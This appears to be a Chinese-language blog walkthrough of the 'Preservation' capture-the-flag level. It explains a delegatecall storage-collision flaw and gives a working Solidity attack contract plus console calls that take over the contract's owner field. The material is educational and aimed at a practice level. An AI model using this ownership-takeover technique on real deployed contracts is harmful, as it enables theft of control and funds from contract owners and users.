16. Preservation

本關的關卡合約錯誤調用delegatecall函數。因delegatecall函數多數是為了方便調用Library裏的函數,故使用delegatecall時上下文不會改變,而是直接使用原合約的上下文。

觀看LibraryContract的代碼︰

contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

當使用delegatecall呼叫setTime函數時,由於上下文為原合約上下文,因此storedTime = _time一句更改的會是原合約Storage的Slot 1裏的數值

觀看關卡合約的代碼,Storage的Slot 1 放的是timeZone1Library的地址,亦即我們可以透過呼叫setFirstTime函數,修改timeZone1Library成任意合約的地址,亦即修改成我們的攻擊合約的地址。

當關卡合約再次呼叫setFirstTime,便會運行攻擊合約中的setTime函數,此時我們己取得控制權,可以同樣原理修改owner成player的地址。

打開Remix IDE,新建檔案Preservation.sol貼上︰

pragma solidity ^0.8.0;

contract Preservation {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint256 player) public {
        owner = address(uint160(player));
    }
}

發佈合約後複製合約地址,打開Console (F12),輸入︰

> contract.setFirstTime(攻擊合約地址)
> contract.setFirstTime(player)

最後按提交,本關完成。

發表留言

%d 位部落客按了讚: